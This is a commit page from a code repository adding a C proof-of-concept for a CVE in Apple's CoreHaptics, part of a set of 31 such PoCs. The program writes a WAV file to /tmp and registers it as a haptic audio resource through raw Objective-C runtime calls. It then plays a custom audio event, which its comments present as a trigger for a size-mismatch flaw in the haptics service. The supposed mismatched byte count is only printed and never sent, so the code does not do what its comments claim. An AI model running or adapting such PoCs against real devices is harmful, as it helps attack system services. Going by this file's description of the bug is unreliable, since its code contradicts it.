v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+167
View File
@@ -0,0 +1,167 @@
// aud.haptic · CoreHaptics · custom audio haptic registration · CVE-2026-113907
// CoreHaptics custom audio event with a declared-size mismatch
// C twin of the Swift POC: builds a 4096-frame WAV, registers it as a CoreHaptics
// audio resource and delivers a custom audio event. The declared byte count the server
// is asked to trust is what this CVE lives in.
// Variant aud.immersive (ImmersiveRendererData symbol probe) is noted in the Swift POC.
// Build: clang -O2 -o cve-2026-113907 CVE-2026-113907.c -framework CoreHaptics -framework CoreFoundation -lobjc
// Run: ./cve-2026-113907 [frame-count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <CoreFoundation/CoreFoundation.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
// ── seed construction (from Cinder27 Runners.hapticCustomAudio) ──
// mono 16-bit WAV with exactly `frames` samples
static buf wav_frames(int frames) {
const int rate = 48000;
buf out = {0};
bcat(&out, "RIFF", 4);
le32(&out, 36 + (uint32_t)frames * 2);
bcat(&out, "WAVEfmt ", 8);
le32(&out, 16); le16(&out, 1); le16(&out, 1);
le32(&out, (uint32_t)rate); le32(&out, (uint32_t)rate * 2);
le16(&out, 2); le16(&out, 16);
bcat(&out, "data", 4);
le32(&out, (uint32_t)frames * 2);
brep(&out, 0, (size_t)frames * 2);
return out;
}
// ── ObjC message casts (arm64: all args in registers) ──
static id (*msg_id)(id, SEL); // alloc
static id (*msg_id_1id)(id, SEL, id); // initAndReturnError:
static unsigned char (*msg_bool_1id)(id, SEL, id); // startAndReturnError:
static unsigned long (*msg_ul_3id)(id, SEL, id, id, id); // registerAudioResource:options:error:
static id (*msg_id_3id)(id, SEL, id, id, id); // initWithEvents:parameters:error:
static id (*msg_id_res)(id, SEL, unsigned long, id, double, double); // initWithAudioResourceID:parameters:relativeTime:duration:
static unsigned char (*msg_bool_double_1id)(id, SEL, double, id); // startAtTime:error:
static void (*msg_void)(id, SEL); // stop
static id (*msg_err_desc)(id, SEL); // localizedDescription
static const char *(*msg_utf8)(id, SEL); // UTF8String
static void print_error(const char *stage, id err) {
if (err) {
id desc = msg_err_desc(err, sel_registerName("localizedDescription"));
const char *s = desc ? msg_utf8(desc, sel_registerName("UTF8String")) : NULL;
printf("%s failed: %s\n", stage, s ? s : "(no description)");
} else {
printf("%s failed\n", stage);
}
}
int main(int argc, char **argv) {
int frames = argc > 1 ? atoi(argv[1]) : 4096;
int declared_bytes = 4; // the mismatch the server is asked to trust
msg_id = (id (*)(id, SEL))objc_msgSend;
msg_id_1id = (id (*)(id, SEL, id))objc_msgSend;
msg_bool_1id = (unsigned char (*)(id, SEL, id))objc_msgSend;
msg_ul_3id = (unsigned long (*)(id, SEL, id, id, id))objc_msgSend;
msg_id_3id = (id (*)(id, SEL, id, id, id))objc_msgSend;
msg_id_res = (id (*)(id, SEL, unsigned long, id, double, double))objc_msgSend;
msg_bool_double_1id = (unsigned char (*)(id, SEL, double, id))objc_msgSend;
msg_void = (void (*)(id, SEL))objc_msgSend;
msg_err_desc = (id (*)(id, SEL))objc_msgSend;
msg_utf8 = (const char *(*)(id, SEL))objc_msgSend;
Class engineClass = objc_getClass("CHHapticEngine");
Class eventClass = objc_getClass("CHHapticEvent");
Class patternClass = objc_getClass("CHHapticPattern");
if (!engineClass || !eventClass || !patternClass) {
printf("CoreHaptics classes unavailable\n");
return 1;
}
id err = nil;
id engine = msg_id_1id(msg_id((id)engineClass, sel_registerName("alloc")),
sel_registerName("initAndReturnError:"), (id)&err);
if (!engine) { print_error("CHHapticEngine init", err); return 1; }
if (!msg_bool_1id(engine, sel_registerName("startAndReturnError:"), (id)&err)) {
print_error("engine start", err);
return 1;
}
printf("CHHapticEngine started\n");
buf wav = wav_frames(frames);
const char *path = "/tmp/cinder_haptic.wav";
FILE *f = fopen(path, "wb");
if (f) { fwrite(wav.d, 1, wav.n, f); fclose(f); }
printf("wav written: %s (%zu B, %d frames, declared bytes %d)\n", path, wav.n, frames, declared_bytes);
CFURLRef url = CFURLCreateWithFileSystemPath(NULL,
CFSTR("/tmp/cinder_haptic.wav"), kCFURLPOSIXPathStyle, false);
CFArrayRef empty_array = CFArrayCreate(NULL, NULL, 0, &kCFTypeArrayCallBacks);
CFDictionaryRef empty_dict = CFDictionaryCreate(NULL, NULL, NULL, 0,
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
err = nil;
unsigned long resource = msg_ul_3id(engine, sel_registerName("registerAudioResource:options:error:"),
(id)url, (id)empty_dict, (id)&err);
if (err) {
print_error("registerAudioResource", err);
msg_void(engine, sel_registerName("stop"));
bfree(&wav);
return 1;
}
printf("audio resource registered: id %lu\n", resource);
id event = msg_id_res(msg_id((id)eventClass, sel_registerName("alloc")),
sel_registerName("initWithAudioResourceID:parameters:relativeTime:duration:"),
resource, (id)empty_array, 0.0, 0.25);
id events[1] = { event };
CFArrayRef event_array = CFArrayCreate(NULL, (const void **)events, 1, &kCFTypeArrayCallBacks);
err = nil;
id pattern = msg_id_3id(msg_id((id)patternClass, sel_registerName("alloc")),
sel_registerName("initWithEvents:parameters:error:"),
(id)event_array, (id)empty_dict, (id)&err);
if (!pattern) {
print_error("pattern creation", err);
msg_void(engine, sel_registerName("stop"));
bfree(&wav);
return 1;
}
err = nil;
id player = msg_id_3id(engine, sel_registerName("makePlayerWithPattern:error:"),
pattern, nil, (id)&err);
if (!player) {
print_error("player creation", err);
msg_void(engine, sel_registerName("stop"));
bfree(&wav);
return 1;
}
err = nil;
if (!msg_bool_double_1id(player, sel_registerName("startAtTime:error:"), 0.0, (id)&err)) {
print_error("event delivery", err);
} else {
printf("audioCustom event delivered\n");
}
usleep(400000);
msg_void(engine, sel_registerName("stop"));
printf("engine stopped\n");
CFRelease(url); CFRelease(empty_array); CFRelease(empty_dict); CFRelease(event_array);
bfree(&wav);
printf("CVE-2026-113907 · custom audio haptic registration exercised\n");
return 0;
}